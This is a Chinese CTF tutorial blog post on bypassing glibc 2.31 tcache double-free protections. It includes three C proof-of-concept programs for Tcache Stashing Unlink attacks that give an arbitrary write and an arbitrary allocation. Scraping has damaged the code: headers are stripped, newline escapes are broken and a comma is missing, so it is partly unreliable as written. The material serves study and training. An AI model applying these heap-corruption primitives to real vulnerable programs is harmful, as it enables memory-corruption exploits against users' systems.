Glibc2.31下Tcache机制攻击总结

admin 2021年5月26日21:24:04评论387 views字数 11700阅读39分0秒阅读模式

作者:青橄榄  编辑:白帽子社区运营团队




    "白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)

"    




自从linux内核的glibc2.26引入Tcache机制以来,Double Free等攻击技术日益成熟完善。但是 随着glibc2.31的到来,防御机制获得提升,攻防博弈角色互换。2020CTF比赛中出现大量涉及最 新版本glibc下Tcache机制攻击题目,本文对如何绕过tcache防御机制进行了全面分析研究。


Glibc2.31下Tcache机制攻击总结
一、Glibc2.31源码分析
Tcache Double Free安全机制 对于每一个tcache中的chunk,增加了一个key指针,用于指向所属的tcache结构体
typedef struct tcache_entry{struct tcache_entry *next; //链表指针,对应chunk中的fd字段/* This field exists to detect double frees. */struct tcache_perthread_struct *key; //指向所属的tcache结构体,对应chunk中的bk字段} tcache_entry;
当chunk被放入时会设置key指针
static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx){tcache_entry *e = (tcache_entry *)chunk2mem(chunk);/* Mark this chunk as "in the tcache" so the test in _int_free willdetect a double free. */e->key = tcache; //设置所属的tcachee->next = tcache->entries[tc_idx];//单链表头插法tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]); //计数增加}
在free时,会进行double free检查
size_t tc_idx = csize2tidx(size);//只要tcache不为空,并且这个chunk属于tcache管辖范围,那么这个chunk就有可能已经在tcache中了,所以需要double free检查if (tcache != NULL && tc_idx < mp_.tcache_bins){/* Check to see if it's already in the tcache. */tcache_entry *e = (tcache_entry *)chunk2mem(p);/*如果是double free,那么put时key字段被设置了tcache,就会进入循环被检查出来如果不是,那么key字段就是用户数据区域,可以视为随机的,只有1/(2^size_t)的可能行进入循环,然后循环发现并不是double free*/if (__glibc_unlikely(e->key == tcache))//关键比较{tcache_entry *tmp;LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)if (tmp == e)malloc_printerr("free(): double free detected in tcache 2");}if (tcache->counts[tc_idx] < mp_.tcache_count) //通过检查,放入tcahce中{tcache_put(p, tc_idx);return;}
这些检查导致我们不能free任何一个已经在tcache中的chunk

Glibc2.31下Tcache机制攻击总结
二、攻击思路一:伪造key绕过检查(上面已经提到)


Glibc2.31下Tcache机制攻击总结
三、攻击思路二:利用fastbin double free
方法一:向目标地址写入大整数

Glibc2.31下Tcache机制攻击总结

方法二:任意地址分配

Glibc2.31下Tcache机制攻击总结
四、攻击思路三:Tcache Stashing Unlink Attack
根据前面分析的部分,bck->fd = bin; 这句代码可以达到和 Unsortedbin Attack 类似的效果,可以将一个 main_arena 中的地址(bin)写入指定位置(bck->fd)。

这种 Smallbins 解 链方式类似于远古版本的无检测 unlink ,就此也产生了新的利用方式,目前适用于所有带 tcache 的 glibc 版本。

操作大概如下: 
1.先放入 2 个 Chunk 到 Smallbins,6 个 Chunk 到对应的 tcache; 

2.然后在不破坏 fd 的情况下将后放入 Smallbins 的 Chunk 的 bk 设置为目标地址减 0x10。 
这样当再向 Smallbins 申请对应大小的 Chunk 时(使用 calloc 就不会请求 tcache),先放 入 Smallbins 的 Chunk 被分配给用户,然后触发 stash 机制。
bck = tc_victim->bk; 此时 的 bck 就是目标地址减 0x10,之后 bck->fd = bin; 也就是将目标地址上的值赋为 bin,这样 就实现了等价于 Unsortedbin Attack 的操作; 

3.之后调用 tcache_put 把后放入 Smallbins 的 Chunk 取出给对应的 tcache ,因为 tcache 之前已经被布置了 6 个 Chunk,在这次之后达到了阈值,所以也就退出了 stash 循环,整个流 程就会正常结束。

攻击完成效果:向目标地址写入大整数。攻击过程如下图所示

Glibc2.31下Tcache机制攻击总结


#include#include#includeuint64_t victim = 0;int main() {int i;void *p, *q, *padding;fprintf(stderr, "You can use this technique to write a big number to arbitraryaddress instead of unsortedbin attackn");fprintf(stderr, "n1. need to know heap address and the victim address that youneed to attackn");p = malloc(0x18);fprintf(stderr, "[+] victim's address => %p, victim's vaule => 0x%lxn",&victim, victim);fprintf(stderr, "[+] heap address => %pn", (uint64_t)p - 0x260);fprintf(stderr, "n2. choose a stable size and free six identical size chunksto tcache_entry listn"); fprintf(stderr, "Here, I choose 0x60n");for (i = 0; i < 6; i++) {p = calloc(1, 0x58);free(p);}fprintf(stderr, "Now, the tcache_entry[4] list is %p --> %p --> %p --> %p -->%p --> %pn",p, (uint64_t)p - 0x60, (uint64_t)p - 0x60 * 2, (uint64_t)p - 0x60 * 3,(uint64_t)p - 0x60 * 4, (uint64_t)p - 0x60 * 5);fprintf(stderr, "n3. free two chunk with the same size like tcache_entry intothe corresponding smallbinn");p = malloc(0x428);fprintf(stderr, "Alloc a chunk %p, whose size is beyond tcache sizethresholdn", p);padding = malloc(0x28);fprintf(stderr, "Alloc a padding chunk, avoid %p to merge to top chunkn", p);free(p);fprintf(stderr, "Free chunk %p to unsortedbinn", p);malloc(0x428 - 0x60);fprintf(stderr, "Alloc a calculated size, make the rest chunk size inunsortedbin is 0x60n");malloc(0x108);fprintf(stderr, "Alloc a chunk whose size is larger than rest chunk size inunsortedbin, that will trigger chunk to other bins like smallbinsn");fprintf(stderr, "chunk %p is in smallbin[4], whose size is 0x60n", (uint64_t)p+ 0x3c0);fprintf(stderr, "Repeat the above steps, and free another chunk intocorresponding smallbinn");fprintf(stderr, "A little difference, notice the twice pad chunk size must belarger than 0x60, or you will destroy first chunk in smallbin[4]n");q = malloc(0x428);padding = malloc(0x88);free(q);malloc(0x3c8);malloc(0x108);fprintf(stderr, "chunk %p is in smallbin[4], whose size is 0x60n", (uint64_t)q+ 0x3c0);fprintf(stderr, "smallbin[4] list is %p <--> %pn", (uint64_t)p + 0x3c0,(uint64_t)q + 0x3c0);fprintf(stderr, "n4. overwrite the first chunk in smallbin[4]'s bk pointer to&victim-0x10 address, the first chunk is smallbin[4]->fdn");fprintf(stderr, "Change %p's bk pointer to &victim-0x10 address: 0x%lxn",(uint64_t)q + 0x3c0, (uint64_t)(&victim) - 0x10);*(uint64_t *)((uint64_t)q + 0x3c0 + 0x18) = (uint64_t)(&victim) - 0x10;printf("n5. use calloc to apply to smallbin[4], it will trigger stashmechanism in smallbin.n");calloc(1, 0x58);printf("Finally, the victim's value is changed to a big numbern");printf("Now, victim's value => 0x%lxn", victim);return 0;}

Glibc2.31下Tcache机制攻击总结


Glibc2.31下Tcache机制攻击总结
五、攻击思路四:Tcache Stashing Unlink Attack Plu
可以实现任意地址的分配,和上述布局大致相同,不过有细微差异。

操作大概如下: 
1.放入 2 个 Chunk 到 Smallbins,5 个 Chunk 到对应的 tcache,后在不破坏 fd 的情况下 将后放入 Smallbins 的 Chunk 的 bk 设置为目标地址减 0x10,同时要将目标地址加 0x8 处的 值设置为一个指向一处可写内存的指针;

2.在 stash 机制时,会将后放入 Smallbins 的 Chunk 被放入 tcache,此时的 bin->bk 就是 目标地址减 0x10,相当于把目标地址减 0x10 的指针链接进了 Smallbins 中。之后不满足终止 条件,会进行下一次的 stash,这时的 tc_victim 就是目标地址; 

3.接下来执行 bck = tc_victim->bk; bck->fd = bin;,将目标地址加 0x8 处的指针。最后目 标地址就会被放入 tcache_entry 的头部,stash 满足终止条件而终止。攻击完成效果:实现任意地址分配。攻击过程如下图所示
#include#include#includestatic uint64_t victim[4] = {0, 0, 0, 0};int main() {int i;void *p, *q, *r, *padding;fprintf(stderr, "You can use this technique to get a tcache chunk to arbitraryaddressn");fprintf(stderr, "n1. need to know heap address and the victim address that youneed to attackn");p = malloc(0x18);fprintf(stderr, "[+] victim's address => %p, victim's vaule => [0x%lx, 0x%lx,0x%lx, 0x%lx]n",&victim, victim[0], victim[1], victim[2], victim[3]);fprintf(stderr, "[+] heap address => %pn", (uint64_t)p - 0x260);fprintf(stderr, "n2. change victim's data, make victim[1] = &victim, or otheraddress to writable addressn");victim[1] = (uint64_t)(&victim);fprintf(stderr, "victim's vaule => [0x%lx, 0x%lx, 0x%lx, 0x%lx]n",victim[0], victim[1], victim[2], victim[3]);fprintf(stderr, "n3. choose a stable size and free five identical size chunksto tcache_entry listn");fprintf(stderr, "Here, I choose the size 0x60n");for (i = 0; i < 5; i++){r = calloc(1, 0x58);free(r);}fprintf(stderr, "Now, the tcache_entry[4] list is %p --> %p --> %p --> %p -->%pn",r, (uint64_t)r - 0x60, (uint64_t)r - 0x60 * 2, (uint64_t)r - 0x60 * 3,(uint64_t)r - 0x60 * 4);fprintf(stderr, "n4. free two chunk with the same size like tcache_entry intothe corresponding smallbinn");p = malloc(0x428);fprintf(stderr, "Alloc a chunk %p, whose size is beyond tcache sizethresholdn", p);padding = malloc(0x28);fprintf(stderr, "Alloc a padding chunk, avoid %p to merge to top chunkn", p);free(p);fprintf(stderr, "Free chunk %p to unsortedbinn", p);malloc(0x3c8);fprintf(stderr, "Alloc a calculated size, make the rest chunk size inunsortedbin is 0x60n");malloc(0x108);fprintf(stderr, "Alloc a chunk whose size is larger than rest chunk size inunsortedbin, that will trigger chunk to other bins like smallbinsn");fprintf(stderr, "chunk %p is in smallbin[4], whose size is 0x60n", (uint64_t)p+ 0x3c0);fprintf(stderr, "Repeat the above steps, and free another chunk intocorresponding smallbinn");fprintf(stderr, "A little difference, notice the twice pad chunk size must belarger than 0x60, or you will destroy first chunk in smallbin[4]n");q = malloc(0x428);padding = malloc(0x88);free(q);malloc(0x3c8);malloc(0x108);fprintf(stderr, "chunk %p is in smallbin[4], whose size is 0x60n", (uint64_t)q+ 0x3c0);fprintf(stderr, "smallbin[4] list is %p <--> %pn", (uint64_t)q + 0x3c0,(uint64_t)p + 0x3c0);fprintf(stderr, "n5. overwrite the first chunk in smallbin[4]'s bk pointer to&victim-0x10 address, the first chunk is smallbin[4]->fdn");fprintf(stderr, "Change %p's bk pointer to &victim-0x10 address: 0x%lxn",(uint64_t)q + 0x3c0, (uint64_t)(&victim) - 0x10);*(uint64_t *)(q + 0x3c0 + 0x18) = (uint64_t)(&victim) - 0x10;fprintf(stderr, "n6. use calloc to apply to smallbin[4], it will trigger stashmechanism in smallbin.n");calloc(1, 0x58);fprintf(stderr, "Now, the tcache_entry[4] list is %p --> %p --> %p --> %p -->%p --> %p --> %pn",&victim, (uint64_t)q + 0x3d0, r, (uint64_t)r - 0x60, (uint64_t)r - 0x60 *2, (uint64_t)r - 0x60 * 3, (uint64_t)r - 0x60 * 4);printf("Apply to tcache_entry[4], you can get a pointer to victim addressn");p = malloc(0x58);*(uint64_t *)((uint64_t)p) = 0xaa;*(uint64_t *)((uint64_t)p + 0x8) = 0xbb;*(uint64_t *)((uint64_t)p + 0x10) = 0xcc;*(uint64_t *)((uint64_t)p + 0x18) = 0xdd;printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]n",victim[0], victim[1], victim[2], victim[3]);return 0;}

Glibc2.31下Tcache机制攻击总结


Glibc2.31下Tcache机制攻击总结
六、攻击思路五:Tcache Stashing Unlink Attack Plus Plus
同时实现上面的两种功能。操作大概如下:
1.将 Smallbins 里的 bk 设置为目标地址 1 减 0x10,将目标地址 1 加 0x8 的位置设置为目 标地址 2 减 0x10。

2.这样就可以将 tcache 分配到目标地址 1,同时向目标地址 2 写入一个大数字。攻击完成效果:实现任意地址分配,并向任意地址写入大整数。攻击过程如下图所示
#include#include#includeuint64_t victim[4] = {0, 0, 0, 0};uint64_t target = 0;int main() {int i;void *p, *q, *r, *padding;fprintf(stderr, "You can use this technique to get a tcache chunk to arbitraryaddress, at the same time, write a big number to arbitrary addressn");fprintf(stderr, "n1. need to know heap address, the victim address that youneed to get chunk pointer and the victim address that you need to write a bignumbern");p = malloc(0x18);fprintf(stderr, "[+] victim's address => %p, victim's vaule => [0x%lx, 0x%lx,0x%lx, 0x%lx]n",&victim, victim[0], victim[1], victim[2], victim[3]);fprintf(stderr, "[+] target's address => %p, target's value => 0x%lxn",&target, target);fprintf(stderr, "[+] heap address => %pn", (uint64_t)p - 0x260);fprintf(stderr, "n2. change victim's data, make victim[1] = &target-0x10n");victim[1] = (uint64_t)(&target) - 0x10;fprintf(stderr, "victim's vaule => [0x%lx, 0x%lx, 0x%lx, 0x%lx]n",victim[0], victim[1], victim[2], victim[3]);fprintf(stderr, "n3. choose a stable size and free five identical size chunksto tcache_entry listn");fprintf(stderr, "Here, I choose 0x60n");for (i = 0; i < 5; i++) {r = calloc(1, 0x58);free(r);}fprintf(stderr, "Now, the tcache_entry[4] list is %p --> %p --> %p --> %p -->%pn"r, (uint64_t)r - 0x60, (uint64_t)r - 0x60 * 2, (uint64_t)r - 0x60 * 3,(uint64_t)r - 0x60 * 4);fprintf(stderr, "n4. free two chunk with the same size like tcache_entry intothe corresponding smallbinn");p = malloc(0x428);fprintf(stderr, "Alloc a chunk %p, whose size is beyond tcache sizethresholdn", p);padding = malloc(0x28);fprintf(stderr, "Alloc a padding chunk, avoid %p to merge to top chunkn", p);free(p);fprintf(stderr, "Free chunk %p to unsortedbinn", p);malloc(0x3c8);fprintf(stderr, "Alloc a calculated size, make the rest chunk size inunsortedbin is 0x60n");malloc(0x108);fprintf(stderr, "Alloc a chunk whose size is larger than rest chunk size inunsortedbin, that will trigger chunk to other bins like smallbinsn");fprintf(stderr, "chunk %p is in smallbin[4], whose size is 0x60n", (uint64_t)p+ 0x3c0);fprintf(stderr, "Repeat the above steps, and free another chunk intocorresponding smallbinn");fprintf(stderr, "A little difference, notice the twice pad chunk size must belarger than 0x60, or you will destroy first chunk in smallbin[4]n");q = malloc(0x428);padding = malloc(0x88);free(q);malloc(0x3c8);malloc(0x108);fprintf(stderr, "chunk %p is in smallbin[4], whose size is 0x60n", (uint64_t)q+ 0x3c0);fprintf(stderr, "smallbin[4] list is %p <--> %pn", (uint64_t)q + 0x3c0,(uint64_t)p + 0x3c0);fprintf(stderr, "n5. overwrite the first chunk in smallbin[4]'s bk pointer to&victim-0x10 address, the first chunk is smallbin[4]->fdn");fprintf(stderr, "Change %p's bk pointer to &victim-0x10 address => 0x%lxn",(uint64_t)q + 0x3c0, (uint64_t)(&victim) - 0x10);*(uint64_t *)((uint64_t)q + 0x3c0 + 0x18) = (uint64_t)(&victim) - 0x10;fprintf(stderr, "n6. use calloc to apply to smallbin[4], it will trigger stashmechanism in smallbin.n");calloc(1, 0x58);fprintf(stderr, "Now, the tcache_entry[4] list is %p --> %p --> %p --> %p -->%p --> %p --> %pn",&victim, (uint64_t)q + 0x3d0, r, (uint64_t)r - 0x60, (uint64_t)r - 0x60 *2, (uint64_t)r - 0x60 * 3, (uint64_t)r - 0x60 * 4);fprintf(stderr, "Apply to tcache_entry[4], you can get a pointer to victimaddressn");p = malloc(0x58);*(uint64_t *)((uint64_t)p) = 0xaa;*(uint64_t *)((uint64_t)p + 0x8) = 0xbb;*(uint64_t *)((uint64_t)p + 0x10) = 0xcc;*(uint64_t *)((uint64_t)p + 0x18) = 0xdd;fprintf(stderr, "victim's vaule => [0x%lx, 0x%lx, 0x%lx, 0x%lx]n",victim[0], victim[1], victim[2], victim[3]);fprintf(stderr, "target's value => 0x%lxn", target);return 0;}


最后推荐几道非常经典的CTF题目:

2019-HITCON-one_punch_man(tcache stashing unlink attack) 

2019-HITCON-lazyhouse(tcache stashing unlink attack plus) 

2020-XCTF-GXZY-twochunk(tcache stashing unlink attack plus plus)


往期精彩文章




ElasticSearch漏洞复现集合
2021年“春秋杯”新年欢乐赛WP
BMZCTF刷题集锦
linux下的凭据窃取




Glibc2.31下Tcache机制攻击总结
技术支持:白帽子社区团队
— 扫码关注我们 



本文始发于微信公众号(白帽子社区):Glibc2.31下Tcache机制攻击总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月26日21:24:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Glibc2.31下Tcache机制攻击总结http://cn-sec.com/archives/272421.html

发表评论

匿名网友 填写信息